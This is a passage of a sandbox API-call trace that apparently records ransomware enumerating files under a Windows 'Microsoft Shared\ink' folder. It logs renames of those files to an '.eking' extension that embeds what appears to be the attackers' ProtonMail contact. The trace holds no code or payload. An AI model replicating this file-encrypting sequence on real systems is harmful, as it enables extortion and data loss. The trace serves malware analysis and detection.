CloseHandle (hObject=0x1d0) returned 1 [0165.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0165.616] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0165.616] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0165.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.617] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=927744) returned 1 [0165.617] CloseHandle (hObject=0x1d0) returned 1 [0165.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0165.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0165.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.618] ResetEvent (hEvent=0x178) returned 1 [0165.618] SetEvent (hEvent=0x17c) returned 1 [0165.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.618] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4096) returned 1 [0165.618] CloseHandle (hObject=0x1d0) returned 1 [0165.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0165.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0165.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.619] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.878] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.882] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.883] ResetEvent (hEvent=0x178) returned 1 [0165.883] SetEvent (hEvent=0x17c) returned 1 [0165.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0165.885] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=384) returned 1 [0165.885] CloseHandle (hObject=0x1dc) returned 1 [0165.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0165.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0165.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.886] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.927] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.935] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.954] ResetEvent (hEvent=0x178) returned 1 [0165.954] SetEvent (hEvent=0x17c) returned 1 [0165.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0165.956] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=727) returned 1 [0165.956] CloseHandle (hObject=0x1d8) returned 1 [0165.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0165.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0165.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.957] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.986] ResetEvent (hEvent=0x178) returned 1 [0165.986] SetEvent (hEvent=0x17c) returned 1 [0165.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0165.987] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3150) returned 1 [0165.987] CloseHandle (hObject=0x190) returned 1 [0165.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0165.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0165.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.988] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.989] ResetEvent (hEvent=0x178) returned 1 [0165.989] SetEvent (hEvent=0x17c) returned 1 [0165.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0165.989] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=247) returned 1 [0165.990] CloseHandle (hObject=0x190) returned 1 [0165.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0165.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0165.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.990] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.992] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.996] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.996] ResetEvent (hEvent=0x178) returned 1 [0165.997] SetEvent (hEvent=0x17c) returned 1 [0165.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0165.998] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=738) returned 1 [0165.998] CloseHandle (hObject=0x190) returned 1 [0165.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0165.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0165.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.999] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.999] ResetEvent (hEvent=0x178) returned 1 [0165.999] SetEvent (hEvent=0x17c) returned 1 [0166.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.000] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=804) returned 1 [0166.000] CloseHandle (hObject=0x190) returned 1 [0166.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0166.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0166.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.001] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.002] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.006] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.007] ResetEvent (hEvent=0x178) returned 1 [0166.007] SetEvent (hEvent=0x17c) returned 1 [0166.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.008] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=16616) returned 1 [0166.009] CloseHandle (hObject=0x190) returned 1 [0166.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0166.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0166.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.009] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.010] ResetEvent (hEvent=0x178) returned 1 [0166.010] SetEvent (hEvent=0x17c) returned 1 [0166.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.010] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15097) returned 1 [0166.011] CloseHandle (hObject=0x190) returned 1 [0166.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0166.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0166.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.011] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.013] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.016] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.017] ResetEvent (hEvent=0x178) returned 1 [0166.017] SetEvent (hEvent=0x17c) returned 1 [0166.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.019] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10947) returned 1 [0166.019] CloseHandle (hObject=0x190) returned 1 [0166.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0166.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0166.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.019] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.020] ResetEvent (hEvent=0x178) returned 1 [0166.020] SetEvent (hEvent=0x17c) returned 1 [0166.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0166.021] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=38485) returned 1 [0166.021] CloseHandle (hObject=0x1d8) returned 1 [0166.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0166.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0166.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.022] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.025] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.026] ResetEvent (hEvent=0x178) returned 1 [0166.026] SetEvent (hEvent=0x17c) returned 1 [0166.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0166.027] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=209) returned 1 [0166.028] CloseHandle (hObject=0x1d8) returned 1 [0166.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0166.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0166.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 